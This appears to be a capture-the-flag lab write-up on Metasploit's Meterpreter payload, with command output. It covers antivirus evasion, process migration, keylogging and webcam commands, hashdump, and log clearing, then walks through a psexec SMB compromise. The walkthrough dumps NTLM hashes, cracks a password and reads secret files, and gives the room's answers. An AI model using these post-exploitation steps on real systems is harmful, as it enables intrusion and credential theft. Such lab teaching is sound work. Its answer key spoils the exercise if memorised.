METASPLOIT METERPRETER

Meterpreter is a Metasploit payload that supports the penetration testing process with many valuable components. Meterpreter will run on the target system and act as an agent within a command and control architecture. You will interact with the target operating system and files and use Meterpreter's specialized commands.

Meterpreter has many versions which will provide different functionalities based on the target system.

How does Meterpreter work?

Meterpreter runs on the target system but is not installed on it. It runs in memory and does not write itself to the disk on the target. This feature aims to avoid being detected during antivirus scans. By default, most antivirus software will scan new files on the disk (e.g. when you download a file from the internet) Meterpreter runs in memory (RAM - Random Access Memory) to avoid having a file that has to be written to the disk on the target system (e.g. meterpreter.exe). This way, Meterpreter will be seen as a process and not have a file on the target system.

Meterpreter also aims to avoid being detected by network-based IPS (Intrusion Prevention System) and IDS (Intrusion Detection System) solutions by using encrypted communication with the server where Metasploit runs (typically your attacking machine). If the target organization does not decrypt and inspect encrypted traffic (e.g. HTTPS) coming to and going out of the local network, IPS and IDS solutions will not be able to detect its activities.

While Meterpreter is recognized by major antivirus software, this feature provides some degree of stealth.

The example below shows a target Windows machine exploited using the MS17-010 vulnerability. You will see Meterpreter is running with a process ID (PID) of 1304; this PID will be different in your case. We have used the `getpid` command, which returns the process ID with which Meterpreter is running. The process ID (or process identifier) is used by operating systems to identify running processes. All processes running in Linux or Windows will have a unique ID number; this number is used to interact with the process when the need arises (e.g. if it needs to be stopped).

Getpid

```
meterpreter > getpid
Current pid: 1304
```

If we list processes running on the target system using the `ps` command, we see PID 1304 is spoolsv.exe and not Meterpreter.exe, as one might expect.

The ps command

```
meterpreter > ps

Process List
============

 PID   PPID  Name                  Arch  Session  User                          Path
 ---   ----  ----                  ----  -------  ----                          ----
 0     0     [System Process]
 4     0     System                x64   0
 396   644   LogonUI.exe           x64   1        NT AUTHORITY\SYSTEM           C:\Win
dows\system32\LogonUI.exe
 416   4     smss.exe              x64   0        NT AUTHORITY\SYSTEM           \Syste
mRoot\System32\smss.exe
 428   692   svchost.exe           x64   0        NT AUTHORITY\SYSTEM
 548   540   csrss.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Win
dows\system32\csrss.exe
 596   540   wininit.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Win
dows\system32\wininit.exe
 604   588   csrss.exe             x64   1        NT AUTHORITY\SYSTEM           C:\Win
dows\system32\csrss.exe
```

```
 644   588   winlogon.exe          x64   1        NT AUTHORITY\SYSTEM          C:\Win
dows\system32\winlogon.exe
 692   596   services.exe          x64   0        NT AUTHORITY\SYSTEM          C:\Win
dows\system32\services.exe
 700   692   sppsvc.exe            x64   0        NT AUTHORITY\NETWORK SERVICE
 716   596   lsass.exe             x64   0        NT AUTHORITY\SYSTEM          C:\Win
dows\system32\lsass.exe  1276  1304  cmd.exe               x64   0        NT AUTHORITY
\SYSTEM           C:\Windows\system32\cmd.exe
 1304  692   spoolsv.exe           x64   0        NT AUTHORITY\SYSTEM          C:\Win
dows\System32\spoolsv.exe
 1340  692   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE
 1388  548   conhost.exe           x64   0        NT AUTHORITY\SYSTEM          C:\Win
dows\system32\conhost.exe
```

Even if we were to go a step further and look at DLLs (Dynamic-Link Libraries) used by the Meterpreter process (PID 1304 in this case), we still would not find anything jumping at us (e.g. no meterpreter.dll)

TheMeterpreterprocess

```
C:\Windows\system32>tasklist /m /fi "pid eq 1304"
tasklist /m /fi "pid eq 1304"

Image Name                     PID Modules
========================= ======== ============================================
spoolsv.exe                   1304 ntdll.dll, kernel32.dll, KERNELBASE.dll,
                                   msvcrt.dll, sechost.dll, RPCRT4.dll,
                                   USER32.dll, GDI32.dll, LPK.dll, USP10.dll,
                                   POWRPROF.dll, SETUPAPI.dll, CFGMGR32.dll,
                                   ADVAPI32.dll, OLEAUT32.dll, ole32.dll,
                                   DEVOBJ.dll, DNSAPI.dll, WS2_32.dll,
                                   NSI.dll, IMM32.DLL, MSCTF.dll,
                                   CRYPTBASE.dll, slc.dll, RpcRtRemote.dll,
                                   secur32.dll, SSPICLI.DLL, credssp.dll,
                                   IPHLPAPI.DLL, WINNSI.DLL, mswsock.dll,
                                   wshtcpip.dll, wship6.dll, rasadhlp.dll,
                                   fwpuclnt.dll, CLBCatQ.DLL, umb.dll,
                                   ATL.DLL, WINTRUST.dll, CRYPT32.dll,
                                   MSASN1.dll, localspl.dll, SPOOLSS.DLL,
                                   srvcli.dll, winspool.drv,
                                   PrintIsolationProxy.dll, FXSMON.DLL,
                                   tcpmon.dll, snmpapi.dll, wsnmp32.dll,
                                   msxml6.dll, SHLWAPI.dll, usbmon.dll,
                                   wls0wndh.dll, WSDMon.dll, wsdapi.dll,
                                   webservices.dll, FirewallAPI.dll,
                                   VERSION.dll, FunDisc.dll, fdPnp.dll,
                                   winprint.dll, USERENV.dll, profapi.dll,
                                   GPAPI.dll, dsrole.dll, win32spl.dll,
                                   inetpp.dll, DEVRTL.dll, SPINF.dll,
                                   CRYPTSP.dll, rsaenh.dll, WINSTA.dll,
                                   cscapi.dll, netutils.dll, WININET.dll,
                                   urlmon.dll, iertutil.dll, WINHTTP.dll,
                                   webio.dll, SHELL32.dll, MPR.dll,
                                   NETAPI32.dll, wkscli.dll, PSAPI.DLL,
                                   WINMM.dll, dhcpcsvc6.DLL, dhcpcsvc.DLL,
                                   apphelp.dll, NLAapi.dll, napinsp.dll,
                                   pnrpnsp.dll, winrnr.dll

C:\Windows\system32>
```

Techniques and tools that can be used to detect Meterpreter are beyond the scope of this room. This section aimed to show you how stealthy Meterpreter is running; remember, most antivirus software will detect it.

It is also worth noting that Meterpreter will establish an encrypted (TLS) communication channel with the attacker's system.

As you will remember, staged payloads are sent to the target in two steps. An initial part is installed (the stager) and requests the rest of the payload. This allows for a smaller initial payload size. The inline payloads are sent in a single step. Meterpreter payloads are also divided into stagged and inline versions. However, Meterpreter has a wide range of different versions you can choose from based on your target system.

The easiest way to have an idea about available Meterpreter versions could be to list them using msfvenom, as seen below.

We have used the `msfvenom --list payloads` command and grepped "meterpreter" payloads (adding `| grep meterpreter` to the command line), so the output only shows these. You can try this command on the AttackBox.

ListingMeterpreterpayloads

```
root@ip-10-10-186-44:~# msfvenom --list payloads | grep meterpreter    android/meterpr
eter/reverse_http                    Run a meterpreter server in Android. Tunnel commu
nication over HTTP
    android/meterpreter/reverse_https                    Run a meterpreter server in An
droid. Tunnel communication over HTTPS
    android/meterpreter/reverse_tcp                      Run a meterpreter server in An
droid. Connect back stager
    android/meterpreter_reverse_http                     Connect back to attacker and s
pawn a Meterpreter shell
    android/meterpreter_reverse_https                    Connect back to attacker and s
pawn a Meterpreter shell
    android/meterpreter_reverse_tcp                      Connect back to the attacker a
nd spawn a Meterpreter shell
    apple_ios/aarch64/meterpreter_reverse_http           Run the Meterpreter / Mettle s
erver payload (stageless)
    apple_ios/aarch64/meterpreter_reverse_https          Run the Meterpreter / Mettle s
erver payload (stageless)
    apple_ios/aarch64/meterpreter_reverse_tcp            Run the Meterpreter / Mettle s
erver payload (stageless)
    apple_ios/armle/meterpreter_reverse_http             Run the Meterpreter / Mettle s
erver payload (stageless)
    apple_ios/armle/meterpreter_reverse_https            Run the Meterpreter / Mettle s
erver payload (stageless)
    apple_ios/armle/meterpreter_reverse_tcp              Run the Meterpreter / Mettle s
erver payload (stageless)
    java/meterpreter/bind_tcp                            Run a meterpreter server in Ja
va. Listen for a connection
    java/meterpreter/reverse_http                        Run a meterpreter server in Ja
va. Tunnel communication over HTTP
    java/meterpreter/reverse_https                       Run a meterpreter server in Ja
va. Tunnel communication over HTTPS
    java/meterpreter/reverse_tcp                         Run a meterpreter server in Ja
va. Connect back stager
    linux/aarch64/meterpreter/reverse_tcp                Inject the mettle server paylo
ad (staged). Connect back to the attacker
    linux/aarch64/meterpreter_reverse_http               Run the Meterpreter / Mettle s
erver payload (stageless)
    linux/aarch64/meterpreter_reverse_https              Run the Meterpreter / Mettle s
erver payload (stageless)
    linux/aarch64/meterpreter_reverse_tcp                Run the Meterpreter / Mettle s
erver payload (stageless)
    linux/armbe/meterpreter_reverse_http                 Run the Meterpreter / Mettle s
erver payload (stageless)
    linux/armbe/meterpreter_reverse_https                Run the Meterpreter / Mettle s
```

```
erver payload (stageless)
    linux/armbe/meterpreter_reverse_tcp                Run the Meterpreter / Mettle s
erver payload (stageless)
    linux/armle/meterpreter/bind_tcp                   Inject the mettle server paylo
ad (staged). Listen for a connection
    linux/armle/meterpreter/reverse_tcp                Inject the mettle server paylo
ad (staged). Connect back to the attacker [...]
```

The list will show Meterpreter versions available for the following platforms;

- Android
- Apple iOS
- Java
- Linux
- OSX
- PHP
- Python
- Windows

Your decision on which version of Meterpreter to use will be mostly based on three factors;

- The target operating system (Is the target operating system Linux or Windows? Is it a Mac device? Is it an Android phone? etc.)
- Components available on the target system (Is Python installed? Is this a PHP website? etc.)
- Network connection types you can have with the target system (Do they allow raw TCP connections? Can you only have an HTTPS reverse connection? Are IPv6 addresses not as closely monitored as IPv4 addresses? etc.)

If you are not using Meterpreter as a standalone payload generated by Msfvenom, your choice may also be limited by the exploit. You will notice some exploits will have a default Meterpreter payload, as you can see in the example below with the `ms17_010_eternalblue` exploit.

Default payload for MS17-010

```
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >
```

You can also list other available payloads using the `show payloads` command with any module.

Available payloads

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads

Compatible Payloads
===================

   #   Name                                          Disclosure Date  Rank    Check  Des
cription
   -   ----                                          ---------------  ----    -----  ---
--------
   0   generic/custom                                                 manual  No     Cus
tom Payload
   1   generic/shell_bind_tcp                                         manual  No     Gen
eric Command Shell, Bind TCP Inline
   2   generic/shell_reverse_tcp                                      manual  No     Gen
eric Command Shell, Reverse TCP Inline
   3   windows/x64/exec                                               manual  No     Win
dows x64 Execute Command
   4   windows/x64/loadlibrary                                        manual  No     Win
```

```
dows x64 LoadLibrary Path
   5   windows/x64/messagebox                                    manual  No     Win
dows MessageBox x64
   6   windows/x64/meterpreter/bind_ipv6_tcp                     manual  No     Win
dows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   7   windows/x64/meterpreter/bind_ipv6_tcp_uuid                manual  No     Win
dows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUI
D Support
   8   windows/x64/meterpreter/bind_named_pipe                   manual  No     Win
dows Meterpreter (Reflective Injection x64), Windows x64 Bind Name
```

Typing `help` on any Meterpreter session (shown by `meterpreter>` at the prompt) will list all available commands.

TheMeterpreterhelp menu

```
meterpreter > help

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bg                        Alias for background
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel[...]
```

Every version of Meterpreter will have different command options, so running the `help` command is always a good idea. Commands are built-in tools available on Meterpreter. They will run on the target system without loading any additional script or executable files.

Meterpreter will provide you with three primary categories of tools;

- Built-in commands
- Meterpreter tools
- Meterpreter scripting

If you run the `help` command, you will see Meterpreter commands are listed under different categories.

- Core commands
- File system commands
- Networking commands
- System commands
- User interface commands
- Webcam commands
- Audio output commands
- Elevate commands
- Password database commands
- Timestomp commands

Please note that the list above was taken from the output of the `help` command on the Windows version of Meterpreter (windows/x64/meterpreter/reverse_tcp). These will be different for other Meterpreter versions.

Meterpreter commands

Core commands will be helpful to navigate and interact with the target system. Below are some of the most commonly used. Remember to check all available commands running the help command once a Meterpreter session has started.

Core commands

- `background`: Backgrounds the current session
- `exit`: Terminate the Meterpreter session
- `guid`: Get the session GUID (Globally Unique Identifier)
- `help`: Displays the help menu
- `info`: Displays information about a Post module
- `irb`: Opens an interactive Ruby shell on the current session
- `load`: Loads one or more Meterpreter extensions
- `migrate`: Allows you to migrate Meterpreter to another process
- `run`: Executes a Meterpreter script or Post module
- `sessions`: Quickly switch to another session

File system commands

- `cd`: Will change directory
- `ls`: Will list files in the current directory (dir will also work)
- `pwd`: Prints the current working directory
- `edit`: will allow you to edit a file
- `cat`: Will show the contents of a file to the screen
- `rm`: Will delete the specified file
- `search`: Will search for files
- `upload`: Will upload a file or directory
- `download`: Will download a file or directory

Networking commands

- `arp`: Displays the host ARP (Address Resolution Protocol) cache
- `ifconfig`: Displays network interfaces available on the target system
- `netstat`: Displays the network connections
- `portfwd`: Forwards a local port to a remote service
- `route`: Allows you to view and modify the routing table

System commands

- `clearev`: Clears the event logs
- `execute`: Executes a command
- `getpid`: Shows the current process identifier
- `getuid`: Shows the user that Meterpreter is running as
- `kill`: Terminates a process
- `pkill`: Terminates processes by name
- `ps`: Lists running processes
- `reboot`: Reboots the remote computer
- `shell`: Drops into a system command shell
- `shutdown`: Shuts down the remote computer
- `sysinfo`: Gets information about the remote system, such as OS

Others Commands (these will be listed under different menu categories in the help menu)

- `idletime`: Returns the number of seconds the remote user has been idle
- `keyscan_dump`: Dumps the keystroke buffer
- `keyscan_start`: Starts capturing keystrokes
- `keyscan_stop`: Stops capturing keystrokes
- `screenshare`: Allows you to watch the remote user's desktop in real time
- `screenshot`: Grabs a screenshot of the interactive desktop
- `record_mic`: Records audio from the default microphone for X seconds
- `webcam_chat`: Starts a video chat
- `webcam_list`: Lists webcams
- `webcam_snap`: Takes a snapshot from the specified webcam
- `webcam_stream`: Plays a video stream from the specified webcam
- `getsystem`: Attempts to elevate your privilege to that of local system
- `hashdump`: Dumps the contents of the SAM database

Although all these commands may seem available under the help menu, they may not all work. For example, the target system might not have a webcam, or it can be running on a virtual machine without a proper desktop environment.

Post-Exploitation with Meterpreter

Meterpreter provides you with many useful commands that facilitate the post-exploitation phase. Below are a few examples you will often use.

Help

This command will give you a list of all available commands in Meterpreter. As we have seen earlier, Meterpreter has many versions, and each version may have different options available. Typing help once you have a Meterpreter session will help you quickly browse through available commands.

TheMeterpreterhelp menu

```
meterpreter > help

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bg                        Alias for background
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel[...]
```

Meterpreter commands

The `getuid` command will display the user with which Meterpreter is currently running. This will give you an idea of your possible privilege level on the target system (e.g. Are you an admin level user like NT AUTHORITY\SYSTEM or a regular user?)

The getuid command

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

The `ps` command will list running processes. The PID column will also give you the PID information you will need to migrate Meterpreter to another process.

The ps command

```
meterpreter > ps

Process List
============

 PID   PPID  Name                  Arch  Session  User                          Path
 ---   ----  ----                  ----  -------  ----                          ----
 0     0     [System Process]
 4     0     System                x64   0
 396   644   LogonUI.exe           x64   1        NT AUTHORITY\SYSTEM           C:\Win
dows\system32\LogonUI.exe
 416   4     smss.exe              x64   0        NT AUTHORITY\SYSTEM           \Syste
mRoot\System32\smss.exe
 428   692   svchost.exe           x64   0        NT AUTHORITY\SYSTEM
 548   540   csrss.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Win
dows\system32\csrss.exe
 596   540   wininit.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Win
dows\system32\wininit.exe
 604   588   csrss.exe             x64   1        NT AUTHORITY\SYSTEM           C:\Win
dows\system32\csrss.exe
 644   588   winlogon.exe          x64   1        NT AUTHORITY\SYSTEM           C:\Win
dows\system32\winlogon.exe
 692   596   services.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Win
dows\system32\services.exe
 700   692   sppsvc.exe            x64   0        NT AUTHORITY\NETWORK SERVICE
 716   596   lsass.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Win
dows\system32\lsass.exe
 724   596   lsm.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Win
dows\system32\lsm.exe
 764   692   svchost.exe           x64   0        NT AUTHORITY\SYSTEM
 828   692   svchost.exe           x64   0        NT AUTHORITY\SYSTEM
 864   828   WmiPrvSE.exe
 900   692   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE
 952   692   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE
 1076  692   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE
 1164  548   conhost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Win
dows\system32\conhost.exe
 1168  692   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE
 1244  548   conhost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Win
dows\system32\conhost.exe
 1276  1304  cmd.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Win
dows\system32\cmd.exe
 1304  692   spoolsv.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Win
dows\System32\spoolsv.exe
 1340  692   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE
 1388  548   conhost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Win
dows\system32\conhost.exe[...]
```

Migrate

Migrating to another process will help Meterpreter interact with it. For example, if you see a word processor running on the target (e.g. word.exe, notepad.exe, etc.), you can migrate to it and start capturing keystrokes sent by the user to this process. Some Meterpreter versions will offer you the `keyscan_start`, `keyscan_stop`, and `keyscan_dump` command options to make Meterpreter act like a keylogger. Migrating to another process may also help you to have a more stable Meterpreter session.

To migrate to any process, you need to type the migrate command followed by the PID of the desired target process. The example below shows Meterpreter migrating to process ID 716.

The migrate command

```
meterpreter > migrate 716
[*] Migrating from 1304 to 716...
[*] Migration completed successfully.
meterpreter >
```

Be careful; you may lose your user privileges if you migrate from a higher privileged (e.g. SYSTEM) user to a process started by a lower privileged user (e.g. webserver). You may not be able to gain them back.

Hashdump

The `hashdump` command will list the content of the SAM database. The SAM (Security Account Manager) database stores user's passwords on Windows systems. These passwords are stored in the NTLM (New Technology LAN Manager) format.

The hashdump command

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
meterpreter >
```

While it is not mathematically possible to "crack" these hashes, you may still discover the cleartext password using online NTLM databases or a rainbow table attack. These hashes can also be used in Pass-the-Hash attacks to authenticate to other systems that these users can access the same network.

Search

The `search` command is useful to locate files with potentially juicy information. In a CTF context, this can be used to quickly find a flag or proof file, while in actual penetration testing engagements, you may need to search for user-generated files or configuration files that may contain password or account information.

The search command

```
meterpreter > search -f flag2.txt
Found 1 result...
    c:\Windows\System32\config\flag2.txt (34 bytes)
meterpreter >
```

Shell

The shell command will launch a regular command-line shell on the target system. Pressing CTRL+Z will help you go back to the Meterpreter shell.

The shell command

```
meterpreter > shell
Process 2124 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>
```

extras

Compromising SMB using exploit/windows/smb/psexec

Process:

Start the msfconsole. Once loaded use the exploit above.

Then **show options** to see what needs to be set.

We know the RHOSTS (target IP), SMBPass (Password1), SMBUser (ballen) and the LHOST (your attacking machine's IP).

A meterpreter shell should load once the exploit is successful.

Press enter or click to view image in full size

```
msf6 > use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > show options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   RHOSTS                                 yes       The target host(s), see htt
                                                    ps://docs.metasploit.com/do
                                                    cs/using-metasploit/basics/
```

What is the computer name?

> Answer: ACME-TEST

Explanation:

The **sysinfo** command will gets information about the remote system.

Press enter or click to view image in full size

```
meterpreter > sysinfo
Computer        : ACME-TEST
OS              : Windows Server 2019 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : FLASH
Logged On Users : 7
Meterpreter     : x86/windows
```

What is the target domain?

> Answer: FLASH

Explanation:

There's two ways to see this information. With sysinfo or using the post/windows/gather/enum_domain module.

To do this, background your current meterpreter session and get into the above module.

Once in the module, **show options** to see what needs to be set. It looks like we have to use the session we just created.

I have one session created so I set SESSION to 1. Run the module and you should see the target domain.

Press enter or click to view image in full size

```
meterpreter > background
[*] Backgrounding session 1 ...
msf6 exploit(windows/smb/psexec) > use post/windows/gather/enum_domain
msf6 post(windows/gather/enum_domain) > show options

Module options (post/windows/gather/enum_domain):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on


View the full module info with the info, or info -d command.

msf6 post(windows/gather/enum_domain) > set session 1
session => 1
msf6 post(windows/gather/enum_domain) > run

[+] Domain FQDN: FLASH.local
[+] Domain NetBIOS Name: FLASH
[+] Domain Controller: ACME-TEST.FLASH.local (IP: 10.10.152.190)
[*] Post module execution completed
msf6 post(windows/gather/enum_domain) >
```

What is the name of the share likely created by the user?

> Answer: speedster

Explanation:

We will need to get back into the previous session. To do this use the command **sessions -i 1**.

The module windows/gather/enum_shares will give you the share created by the user.

Press enter or click to view image in full size

```
msf6 > sessions -i 1
[*] Starting interaction with 1 ...

meterpreter > run windows/gather/enum_shares

[*] Running module against ACME-TEST (10.10.152.190)
[*] The following shares were found:
[*]     Name: SYSVOL
[*]     Path: C:\Windows\SYSVOL\sysvol
[*]     Remark: Logon server share
[*]     Type: DISK
[*]
[*]     Name: NETLOGON
[*]     Path: C:\Windows\SYSVOL\sysvol\FLASH.local\SCRIPTS
[*]     Remark: Logon server share
[*]     Type: DISK
[*]
[*]     Name: speedster
[*]     Path: C:\Shares\speedster
[*]     Type: DISK
[*]
```

What is the NTLM hash of the jchambers user?

> Answer: 69596c7aa1e8daee17f8e78870e25a5c

Explanation:

Hashdump will give use hashes of the users. Look for jchambers. The first long string between “:” is the username hash, the second set is the password’s hash!

Press enter or click to view image in full size

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e
8fdb71:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::
:
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a9ac3de200cb4d510fed7610c7037292:
::
ballen:1112:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b
:::
jchambers:1114:aad3b435b51404eeaad3b435b51404ee:69596c7aa1e8daee17f8e78870e25
a5c:::
jfox:1115:aad3b435b51404eeaad3b435b51404ee:c64540b95e2b2f36f0291c3a9fb8b840::
:
lnelson:1116:aad3b435b51404eeaad3b435b51404ee:e88186a7bb7980c913dc90c7caa2a3b
9:::
erptest:1117:aad3b435b51404eeaad3b435b51404ee:8b9ca7572fe60a1559686dba9072671
5:::
ACME-TEST$:1008:aad3b435b51404eeaad3b435b51404ee:76051eaf0a29647fc3e8b188b27b
f66e:::
meterpreter >
```

What is the cleartext password of the jchambers user?

> Answer: Trustno1

Explanation:

An easy way to get the cleartext from a hash is with an online NTLM hash cracker. You can use crackstation.net to crack it.

Where is the “secrets.txt” file located? (Full path of the file)

> Answer: c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt

Explanation:

Locate files with the search command “search -f secrets.txt”

Press enter or click to view image in full size

```
meterpreter > search -f secrets.txt
Found 1 result ...
==================

Path                                                    Size (bytes)
 Modified (UTC)
----                                                    ------------
 -------------
c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt  35
 2021-07-30 03:44:27 -0400

meterpreter >
```

What is the Twitter password revealed in the “secrets.txt” file?

> Answer: KDSvbsw3849

Explanation:

Display contents of a file with the **cat** command. Figuring out how to get this command to work was frustrating! With a quick google search put the path file in quotes.

Press enter or click to view image in full size

```
meterpreter > cat "c:\Program Files (x86)\Windows Multimedia Platform\secrets
.txt"
My Twitter password is KDSvbsw3849!meterpreter >
```

Where is the “realsecret.txt” file located? (Full path of the file)

> Answer: c:\inetpub\wwwroot\realsecret.txt

Explanation:

Same as the last file!

What is the real secret?

> Answer: The Flash is the fastest man alive

Explanation:

Now you might think “I’ll just use the same format like the last file?” WRONG. Make sure there is two backward slashes (\\) and NO quotes.

Press enter or click to view image in full size

```
meterpreter > cat c:\\inetpub\\wwwroot\\realsecret.txt
The Flash is the fastest man alivemeterpreter >
```